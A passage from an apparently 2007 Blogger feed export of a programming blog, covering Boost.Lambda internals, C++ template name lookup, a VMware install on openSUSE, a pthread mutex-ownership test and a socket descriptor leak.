};&lt;br /&gt;&lt;br /&gt;  template&lt;class RET, class A, class B, class C, class Env&gt;&lt;br /&gt;  RET call(A&amp; a, B&amp; b, C&amp; c, Env&amp; env) const {&lt;br /&gt;    typedef ::boost::static_assert_test&lt; sizeof(::boost::STATIC_ASSERTION_FAILURE&lt; (bool)( boost::is_reference&lt;RET&gt;::value ) &gt;)&gt; boost_static_assert_typedef_60;&lt;br /&gt;    ::boost::lambda::detail::do_nothing(a, b, c, env);&lt;br /&gt;    return a;&lt;br /&gt;  }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Notable keywords here are: sig, call, as they clue us eventually to how the lambda library implements for_each lambda call. The macro expanded form is obtained by supplying "--save-temps' argument to g++. Similar option is available for other c++ compilers to aid analysis of complex c++ template and macro laiden programs.&lt;br /&gt;&lt;br /&gt;Compile time C++ parser picks up lambda 'cout &lt;&lt; _1 &lt;&lt; '\n'' and uses Koenig name look up rule (argument dependent name lookup) to resolve first '&lt;&lt;' into an operator overloaded in lambda namespace. The overloaded operator is defined in /usr/include/boost/lambda/detail/operators.hpp&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define BOOST_LAMBDA_BE2(OPER_NAME, ACTION, CONSTA, CONSTB, CONVERSION)      \&lt;br /&gt;template&lt;class A, class Arg&gt;                                                 \&lt;br /&gt;inline const                                                                 \&lt;br /&gt;lambda_functor&lt;                                                              \&lt;br /&gt;  lambda_functor_base&lt;                                                       \&lt;br /&gt;    ACTION,                                                                  \&lt;br /&gt;    tuple&lt; typename CONVERSION &lt;CONSTA&gt;::type, lambda_functor&lt;Arg&gt; &gt;        \&lt;br /&gt;  &gt;                                                                          \&lt;br /&gt;&gt;                                                                            \&lt;br /&gt;OPER_NAME (CONSTA&amp; a, const lambda_functor&lt;Arg&gt;&amp; b) {                      \&lt;br /&gt;  return                                                                     \&lt;br /&gt;    lambda_functor_base&lt;                                                     \&lt;br /&gt;      ACTION,                                                                \&lt;br /&gt;      tuple&lt; typename CONVERSION &lt;CONSTA&gt;::type, lambda_functor&lt;Arg&gt; &gt;      \&lt;br /&gt;    &gt;                                                                        \&lt;br /&gt;  (tuple&lt; typename CONVERSION &lt;CONSTA&gt;::type, lambda_functor&lt;Arg&gt; &gt;(a, b)); \&lt;br /&gt;}&lt;br /&gt;BOOST_LAMBDA_BE2(BOOST_LAMBDA_COMMA_OPERATOR_NAME, other_action&lt;comma_action&gt;, const A, const B, const_copy_argument)&lt;br /&gt;&lt;br /&gt;Or in the macro expanded form:&lt;br /&gt;&lt;br /&gt;template&lt;class A, class Arg&gt; inline const lambda_functor&lt; lambda_functor_base&lt; bitwise_action&lt;leftshift_action&gt;, tuple&lt; typename const_copy_argument &lt;const A&gt;::type, lambda_functor&lt;Arg&gt; &gt; &gt; &gt; operator&lt;&lt; (const A&amp; a, const lambda_functor&lt;Arg&gt;&amp; b) { return lambda_functor_base&lt; bitwise_action&lt;leftshift_action&gt;, tuple&lt; typename const_copy_argument &lt;const A&gt;::type, lambda_functor&lt;Arg&gt; &gt; &gt; (tuple&lt; typename const_copy_argument &lt;const A&gt;::type, lambda_functor&lt;Arg&gt; &gt;(a, b)); }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Instantiation of lambda_functor requires instantiation of the following classes: lambda_functor_base, boost::tuples::tuple, boost::tuples::cons. lambda_functor_base is defined in &lt;br /&gt;/usr/include/boost/lambda/detail/operator_lambda_func_base.hpp as yet another macro:&lt;br /&gt;BOOST_LAMBDA_BINARY_ACTION(&lt;&lt;,bitwise_action&lt;leftshift_action&gt;)&lt;br /&gt;&lt;br /&gt;The relevant definitions of bitwise_action and leftshift_action can be found in /usr/include/boost/lambda/detail/operator_actions.hpp&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define BOOST_LAMBDA_BINARY_ACTION(SYMBOL, ACTION_CLASS)  \&lt;br /&gt;template&lt;class Args&gt;                                                      \&lt;br /&gt;class lambda_functor_base&lt;ACTION_CLASS, Args&gt; {                           \&lt;br /&gt;public:                                                                   \&lt;br /&gt;  Args args;                                                              \&lt;br /&gt;public:                                                                   \&lt;br /&gt;  explicit lambda_functor_base(const Args&amp; a) : args(a) {}                \&lt;br /&gt;                                                                          \&lt;br /&gt;  template&lt;class RET, CALL_TEMPLATE_ARGS&gt;                                 \&lt;br /&gt;  RET call(CALL_FORMAL_ARGS) const {                                      \&lt;br /&gt;    return detail::select(boost::tuples::get&lt;0&gt;(args), CALL_ACTUAL_ARGS)  \&lt;br /&gt;           SYMBOL                                                         \&lt;br /&gt;           detail::select(boost::tuples::get&lt;1&gt;(args), CALL_ACTUAL_ARGS); \&lt;br /&gt;  }                                                                       \&lt;br /&gt;  template&lt;class SigArgs&gt; struct sig {                                    \&lt;br /&gt;    typedef typename                                                      \&lt;br /&gt;      detail::binary_rt&lt;ACTION_CLASS, Args, SigArgs&gt;::type type;          \&lt;br /&gt;  };                                                                      \&lt;br /&gt;}; &lt;br /&gt;&lt;br /&gt;Or in macro expanded form:&lt;br /&gt;template&lt;class RET, class Args&gt;&lt;br /&gt;class lambda_functor_base&lt; explicit_return_type_action&lt;RET&gt;, Args&gt;&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;  Args args;&lt;br /&gt;&lt;br /&gt;  explicit lambda_functor_base(const Args&amp; a) : args(a) {}&lt;br /&gt;&lt;br /&gt;  template &lt;class SigArgs&gt; struct sig { typedef RET type; };&lt;br /&gt;&lt;br /&gt;  template&lt;class RET_, class A, class B, class C, class Env&gt;&lt;br /&gt;  RET call(A&amp; a, B&amp; b, C&amp; c, Env&amp; env) const&lt;br /&gt;  {&lt;br /&gt;    return detail::constify_rvals&lt;RET&gt;::go(&lt;br /&gt;     detail::r_select&lt;RET&gt;::go(boost::tuples::get&lt;0&gt;(args), a, b, c, env));&lt;br /&gt;  }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Inside std::for_each, __Function is expanded into a lambda_functor_base data structure. When invoked as a functor, it resolves to:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;   template&lt;class A&gt;&lt;br /&gt;   typename inherited::template sig&lt; tuple&lt;A&amp;&gt; &gt;::type&lt;br /&gt;   operator()(A&amp; a) const { &lt;br /&gt;     return inherited::template call&lt;&lt;br /&gt;       typename inherited::template sig&lt; tuple&lt;A&amp;&gt; &gt;::type&lt;br /&gt;     &gt;(a, cnull_type(), cnull_type(), cnull_type());&lt;br /&gt;   }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;At this point, A&amp; a contains the value of array element in x. &lt;br /&gt;&lt;br /&gt;The complete type of lambda_functor is defined as:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;boost::lambda::lambda_functor&lt; boost::lambda::lambda_functor_base&lt; boost::lambda::bitwise_action&lt; boost::lambda::leftshift_action&gt;,boost::tuples::tuple&lt; boost::lambda::lambda_functor&lt; boost::lambda::lambda_functor_base&lt; boost::lambda::bitwise_action&lt; boost::lambda::leftshift_action&gt;,boost::tuples::tuple&lt; std::ostream&amp;,boost::lambda::lambda_functor&lt; boost::lambda::placeholder&lt;1&gt; &gt;,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type&gt; &gt; &gt;,const char,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type&gt; &gt; &gt;::operator ()&lt;int&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conclusion&lt;br /&gt;&lt;br /&gt;Through source code analysis and debugging, we glimpsed through part of the internals of boost lambda libary. This library uses macro and template metaprogramming extensively. It's tightly coupled to boost tuple library. It uses type traits technique and other generative programming techniques freely. &lt;br /&gt;&lt;br /&gt;We use overloaded '&lt;&lt;' to demonstrate the inner working of lambda. This analysis does not show a complete a picture of lambda library, e.g without lambda::bind. But it provides sufficient insight into the library and how to analyze similar C++ library if needed.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1873516112024835401?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1873516112024835401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1873516112024835401'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/10/c-boost-lambda-internals.html' title='C++ boost lambda internals'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6208954519246675407</id><published>2007-10-11T12:47:00.000-05:00</published><updated>2008-01-27T20:11:15.470-05:00</updated><title type='text'>Generic programming: fundamental concepts in C++ template metaprogramming</title><content type='html'>Procedural programming has a few general and important constructs: conditional, loop, recursion. &lt;br /&gt;&lt;br /&gt;In Functional programming, loop is not allowed because variable is not mutable. To loop, is to alter counter variables. In Functional programming, recursion is used to accumulate or iterate, in recursion the rule 'immutable variable' is not violated.&lt;br /&gt;&lt;br /&gt;A programming construct is a fundamental concept of programming, it's a logical unit. A program is a hierarchical structure of programming constructs. There are 4 basic constructs: sequential, conditional, loop, function (lambda). What a program does is side effect of a program executing these constructs.&lt;br /&gt;&lt;br /&gt;1. Sequential construct:&lt;br /&gt;do A&lt;br /&gt;do B&lt;br /&gt;do C&lt;br /&gt;&lt;br /&gt;2. What's a conditional construct?&lt;br /&gt;&lt;br /&gt;if (condition) then&lt;br /&gt;   do A&lt;br /&gt;else&lt;br /&gt;   do B&lt;br /&gt;end if&lt;br /&gt;&lt;br /&gt;This construct is allowed in both procedural and functional programming.&lt;br /&gt;&lt;br /&gt;3. What's a loop? there are 2 kinds of loops based on its result (not side effect), infinite loop, finite loop. Often a loop can be decomposed into sequential and conditional constructs. For example a infinite loop&lt;br /&gt;&lt;br /&gt;condition = true&lt;br /&gt;while(condition) then&lt;br /&gt;   do A&lt;br /&gt;   do B&lt;br /&gt;end while&lt;br /&gt;&lt;br /&gt;a finite loop &lt;br /&gt;condition = true&lt;br /&gt;while(condition) then&lt;br /&gt;   do A&lt;br /&gt;   if(result=do B) condition = false // note that the value of condition is altered&lt;br /&gt;end while&lt;br /&gt;&lt;br /&gt;In functional programming, variable value is immutable once defined, to rewrite the above example with recursion, we need the help of a function construct.&lt;br /&gt;&lt;br /&gt;4. define a function or a lambda&lt;br /&gt;&lt;br /&gt;return_type function(argument_type)&lt;br /&gt;   function body&lt;br /&gt;end function&lt;br /&gt;&lt;br /&gt;bool do_b()&lt;br /&gt;   bool result = do B&lt;br /&gt;   return result&lt;br /&gt;end do_b&lt;br /&gt;&lt;br /&gt;void do_a_b()&lt;br /&gt;  do A&lt;br /&gt;  bool result = do_b&lt;br /&gt;  if(!result)&lt;br /&gt;      do_a_b&lt;br /&gt;end do_a_b&lt;br /&gt;&lt;br /&gt;As you can see, no variable value is ever changed after the point of definition (declaration and initialization), a key characteristic of functional programming.&lt;br /&gt;&lt;br /&gt;C++ template provides powerful means to do functional programming, interestingly by design it has the same 'immutable variable' requirement. Let's see how we again transform the above example into C++ templates&lt;br /&gt;&lt;br /&gt;bool do_B(){&lt;br /&gt;}&lt;br /&gt;   &lt;br /&gt;template &lt;bool condition&gt; &lt;br /&gt;class do_a_b{&lt;br /&gt;&lt;br /&gt;do_a_b(){&lt;br /&gt;   do_A;&lt;br /&gt;   bool result = do_B;&lt;br /&gt;   do_a_b&lt;result&gt;();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt;br /&gt;class do_a_b&lt;true&gt;{&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;In summary, conditional is implemented with partial specialization, and loop is implemented with recursion. Why bother doing this? Functional programming as a form of generic programming, provides a higher level of concept correctness through programming logic.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;http://en.wikipedia.org/wiki/Tail_recursion&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6208954519246675407?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6208954519246675407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6208954519246675407'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/10/generic-programming-fundamental.html' title='Generic programming: fundamental concepts in C++ template metaprogramming'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7375628484370665289</id><published>2007-10-02T10:17:00.000-05:00</published><updated>2007-10-02T10:30:30.433-05:00</updated><title type='text'>C++ template programming name lookup</title><content type='html'>Inside of a template, the compiler performs two-phase name lookup for any name encountered:&lt;br /&gt;&lt;br /&gt;The first occurs when the compiler initially parses the template&lt;br /&gt;definition. In this phase, the compiler tries to determine which names&lt;br /&gt;do not depend on the template arguments, and it tries to resolve those&lt;br /&gt;names. (Non-dependent name) One thing to note is that during the first phase, inherited names from depdent class (base class is a template) don't get resolved as dependent names since the compiler cannot know yet if the base has the name declared.&lt;br /&gt;&lt;br /&gt;The second phase occurs when you actually try to use the template. As&lt;br /&gt;now all the template parameters are also known, the compiler can&lt;br /&gt;resolve the rest of the names. (Dependent name)&lt;br /&gt;&lt;br /&gt;Consider the following example&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;template &lt;int x&gt; struct S;&lt;br /&gt;template &lt;&gt; struct S&lt;0&gt; {&lt;br /&gt;     S&lt;0&gt;(void): y(0) {}&lt;br /&gt;     int y;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt;int x&gt; struct S: public S&lt;x - 1&gt; {&lt;br /&gt;     S&lt;x&gt;(void) {y++;}&lt;br /&gt;&lt;br /&gt;}; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;S&lt;0&gt;::y is a non-dependent name, so is S&lt;x&gt;::y. The compiler will not be able to resolve S&lt;x&gt;::y in the first phase of the two phase name lookup. Too fix this problem, one must convert S&lt;x&gt;::y to a dependent name. There are two methods,&lt;br /&gt;&lt;br /&gt;The compiler is right and the reason is that by deriving&lt;br /&gt;S&lt;x&gt; from S&lt;x - 1&gt; the base class is a type-dependent and&lt;br /&gt;the compiler is not allowed to assume anything about it's&lt;br /&gt;members (Or to say: Name look-up does not occur in the&lt;br /&gt;dependent base classes), since there is no guarantee that&lt;br /&gt;they will exist (you can change the definition of an&lt;br /&gt;arbitrary S&lt;z&gt; by explicit or partial specialization over&lt;br /&gt;a set of z).&lt;br /&gt;To ensure that the compiler does not *immediatly* try to&lt;br /&gt;resolve the entity named "y" inside the scope of S&lt;x&gt;, you&lt;br /&gt;make itself a type-dependent expression, e.g. by replacing&lt;br /&gt;the unqualified y by&lt;br /&gt;&lt;br /&gt;this-&gt;y&lt;br /&gt;&lt;br /&gt;or by&lt;br /&gt;&lt;br /&gt;S::y (or S&lt;x&gt; or S&lt;x - 1&gt;) &lt;br /&gt;&lt;br /&gt;1) S&lt;x&gt;() { this-&gt;y++; }, this forces the compiler to instantiate the base dependent names and so on and so forth&lt;br /&gt;&lt;br /&gt;2) S&lt;x&gt;::y simply turns y into a dependent name and will only be resolved after all templates are instantiated.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7375628484370665289?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7375628484370665289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7375628484370665289'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/10/c-template-programming-name-lookup.html' title='C++ template programming name lookup'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-2021215050814662659</id><published>2007-09-30T21:21:00.000-05:00</published><updated>2007-09-30T21:37:07.206-05:00</updated><title type='text'>Installing vmware on opensuse 10.2 (and similar Linux distro)</title><content type='html'>1. Download vmware (preferrably the RPM version) and install it.&lt;br /&gt;2. /usr/bin/vmware-config.pl&lt;br /&gt;&lt;br /&gt;This script will prompt you for the version correct kernel headers. Chances are you don't have a match between your kernel image, kernel header and kernel source. In my case, I have:&lt;br /&gt;pc-feiliu:/usr/src/linux-2.6.18.8-0.5 # rpm -qa|grep kernel&lt;br /&gt;kernel-default-2.6.18.2-34&lt;br /&gt;linux-kernel-headers-2.6.18.2-3&lt;br /&gt;kernel-source-2.6.18.8-0.5&lt;br /&gt;&lt;br /&gt;Don't panic yet. Make sure you have a relatively close kernel source available. Then follow the advice  in this URL: http://www.linuxquestions.org/questions/showthread.php?t=553299&lt;br /&gt;&lt;br /&gt;In my case, this is the transcript:&lt;br /&gt;pc-feiliu:/usr/src/linux-2.6.18.8-0.5 # cp /boot/config-2.6.18.2-34-default ./.config&lt;br /&gt;pc-feiliu:/usr/src/linux-2.6.18.8-0.5 # make modules_prepare&lt;br /&gt;&lt;br /&gt;3. Rerun /usr/bin/vmware-config.pl&lt;br /&gt;When prompted the kernel headers, give these:&lt;br /&gt;The path "/usr/src/linux/include" is a kernel header file directory, but it is&lt;br /&gt;not configured yet.&lt;br /&gt;&lt;br /&gt;What is the location of the directory of C header files that match your running&lt;br /&gt;kernel? [/usr/src/linux/include] /usr/src/linux-2.6.18.8-0.5/include&lt;br /&gt;&lt;br /&gt;After answer a few more questions, you should be ready to go with a successful vmware install.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-2021215050814662659?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2021215050814662659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2021215050814662659'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/09/installing-vmware-on-opensuse-102-and.html' title='Installing vmware on opensuse 10.2 (and similar Linux distro)'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5148428623449015390</id><published>2007-09-11T19:02:00.000-05:00</published><updated>2007-09-11T19:07:11.500-05:00</updated><title type='text'>C++ error code, return value, assert, and exception</title><content type='html'>1. return value + error code traditional C++ technique to indicate error to client&lt;br /&gt;2. logical error in coding, use assert to detect logical error during run time&lt;br /&gt;3. logical error in design, use static_assert to detect compile time error due to design issues&lt;br /&gt;4. exception, an extremely useful to tool to handle run time error gracefully.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5148428623449015390?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5148428623449015390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5148428623449015390'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/09/c-error-code-return-value-assert-and.html' title='C++ error code, return value, assert, and exception'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-4380888708807014365</id><published>2007-09-11T19:00:00.000-05:00</published><updated>2007-09-11T19:08:52.893-05:00</updated><title type='text'>C++ const correctness, boost shared_ptr and reference counting</title><content type='html'>1. what's C++ const correctness&lt;br /&gt;2. how does shared_ptr work&lt;br /&gt;3. how does shared_ptr gets around const correctness&lt;br /&gt;4. pointer and get too smart with the compiler&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-4380888708807014365?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4380888708807014365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4380888708807014365'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/09/c-const-correctness-and-boost-sharedptr.html' title='C++ const correctness, boost shared_ptr and reference counting'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6071227694706385795</id><published>2007-08-28T15:10:00.000-05:00</published><updated>2008-01-17T12:10:29.108-05:00</updated><title type='text'>Another subtle difference between linux threads and posix threads, will the fun ever end?</title><content type='html'>During investigation of a black hole bug in a multi thread application, a fix is proposed to release a mutex locked by another thread. I thought this was a dubious idea as I remembered posix thread has the notion of mutex ownership. I checked 'Programming Posix Threads' and there it is. The author explicitly states (in the section discussing pthread_mutex_unlock), a mutex is owned by the thread that locked it and cannot be unlocked by another thread. But you should never trust what a book says on multi-threading issues. I decided to test this behavior and what you know, Linux threads does not honor pthread mutex ownership. Any thread can unlock any mutex locked by another thread. Here is the example code:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;#include &lt; stdlib.h&gt;&lt;br /&gt;#include &lt; unistd.h&gt;&lt;br /&gt;#include &lt; stdio.h&gt;&lt;br /&gt;#include &lt; pthread.h&gt;&lt;br /&gt;&lt;br /&gt;pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;&lt;br /&gt;&lt;br /&gt;void *&lt;br /&gt;locker (void *blah)&lt;br /&gt;{&lt;br /&gt;    int ret = pthread_mutex_lock(&amp;m);&lt;br /&gt;    printf("lock mutex in locker: %d\n", ret);&lt;br /&gt;    sleep(10);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;void *&lt;br /&gt;unlocker (void *blah)&lt;br /&gt;{&lt;br /&gt;    sleep(3);&lt;br /&gt;    int ret = pthread_mutex_unlock(&amp;m);&lt;br /&gt;    printf("unlock mutex not owned by locker: %d\n", ret);&lt;br /&gt;    ret = pthread_mutex_lock(&amp;m);&lt;br /&gt;    printf("lock mutex in unlocker: %d\n", ret);&lt;br /&gt;    sleep(10);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    int result;&lt;br /&gt;    pthread_t tid[10000];&lt;br /&gt;    int count=0, oldc = 0;&lt;br /&gt;    pthread_attr_t new_child_attr;&lt;br /&gt;&lt;br /&gt;    result = pthread_attr_init (&amp;new_child_attr);&lt;br /&gt;    result = pthread_attr_setdetachstate (&amp;new_child_attr,&lt;br /&gt;                                             PTHREAD_CREATE_DETACHED);&lt;br /&gt;//    result = pthread_create (&amp;tid[count], &amp;new_child_attr, (void *(*)(void *)) locker, 0);&lt;br /&gt;//    result = pthread_create (&amp;tid[count+1], &amp;new_child_attr, (void *(*)(void *)) unlocker, 0);&lt;br /&gt;    result = pthread_create (&amp;tid[count], 0, (void *(*)(void *)) locker, 0);&lt;br /&gt;    result = pthread_create (&amp;tid[count+1], 0, (void *(*)(void *)) unlocker, 0);&lt;br /&gt;    pthread_join(tid[0], 0);&lt;br /&gt;    result = pthread_join(tid[1], 0);&lt;br /&gt;    printf("threads returned: %d\n", result);&lt;br /&gt;    sleep(30);&lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6071227694706385795?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6071227694706385795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6071227694706385795'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/08/another-subtle-difference-between-linux.html' title='Another subtle difference between linux threads and posix threads, will the fun ever end?'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1176061704094096342</id><published>2007-08-24T09:11:00.000-05:00</published><updated>2007-08-24T09:13:03.335-05:00</updated><title type='text'>Spin lock, OS scheduler, and SMP</title><content type='html'>Is it possible to optimize a spinlock without using a schedular (or some refer to as OS APIs). The answer is not efficiently.&lt;br /&gt;&lt;br /&gt;On OS with pre-emptive kernels such as most Windows and Linux kernels, high priority process/thread can preempt low priority task that is spending most of its time busy looping in a spinlock. By moving such a low priority task to sleep state, the kernel is effectively optimizing cpu use. You will notice your UP system is a little slower but it's still quite usable. The reason for the slowdown is that the spinlock thread is simply not very cooperative and does not yield cpu time.&lt;br /&gt;&lt;br /&gt;Another factor to consider is SMP. On multi processor machine, such a busy loop process is usually bound to a particular cpu and user can hardly notice any kind of system slowdown for interactive work. This is a very easy experiment to try out.&lt;br /&gt;&lt;br /&gt;Is there room for a little bit optimization on SMP system? Check out 'lock xchg'. The memory subsystem will kick in and block such a thread from execution until the bus is locked to synchronize this memory value between multiple CPUs.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1176061704094096342?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1176061704094096342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1176061704094096342'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/08/spin-lock-os-scheduler-and-smp.html' title='Spin lock, OS scheduler, and SMP'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-911953760359884063</id><published>2007-08-22T10:44:00.000-05:00</published><updated>2008-01-17T12:09:56.094-05:00</updated><title type='text'>It's hard to write safe and sound C++ code</title><content type='html'>Recently I found an issue with my C++ network socket library. It's leaking file descriptors. After an application linked to this&lt;br /&gt;library runs for a while, it starts to fail to create new file descriptor. lsof indicates that there are 1000+ sockets opened in&lt;br /&gt;the state of 'can't identify protocol'. Using valgrind file descriptor leak check shows that there are open file descriptors in&lt;br /&gt;the state of &lt;unbound&gt; &lt;-&gt; &lt;unbound&gt;. This kind of socket is typically a result of non-connected socket. i.e. A socket is created&lt;br /&gt;on the client side but it's not connected to any server or failed to connect to any server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now this would seem to be a strange thing at first given that a C++ class destructor will always release the resource acquired&lt;br /&gt;through its constructor. But as I investigated deeper into the issue, the revelation came to me 'It's hard to write safe and&lt;br /&gt;sound C++'.&lt;br /&gt;&lt;br /&gt;Let's first check the code that's not working:&lt;br /&gt;socket.hpp:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;#ifndef MY_SOCKET_HPP&lt;br /&gt;#define MY_SOCKET_HPP&lt;br /&gt;&lt;br /&gt;#include "utils/network/exceptions.hpp"&lt;br /&gt;#ifndef THROW_SE&lt;br /&gt;#define THROW_SE(cond, msg) do {\&lt;br /&gt;if(cond) throw socket_connect_exception(msg); \&lt;br /&gt;} while(0)&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;class basic_socket {&lt;br /&gt;private:&lt;br /&gt;    int sockfd;&lt;br /&gt;public:&lt;br /&gt;    basic_socket(int sockfd) : sockfd(sockfd) {}&lt;br /&gt;    ~basic_socket(){&lt;br /&gt;        if(sockfd &gt; 0) ::close(sockfd);&lt;br 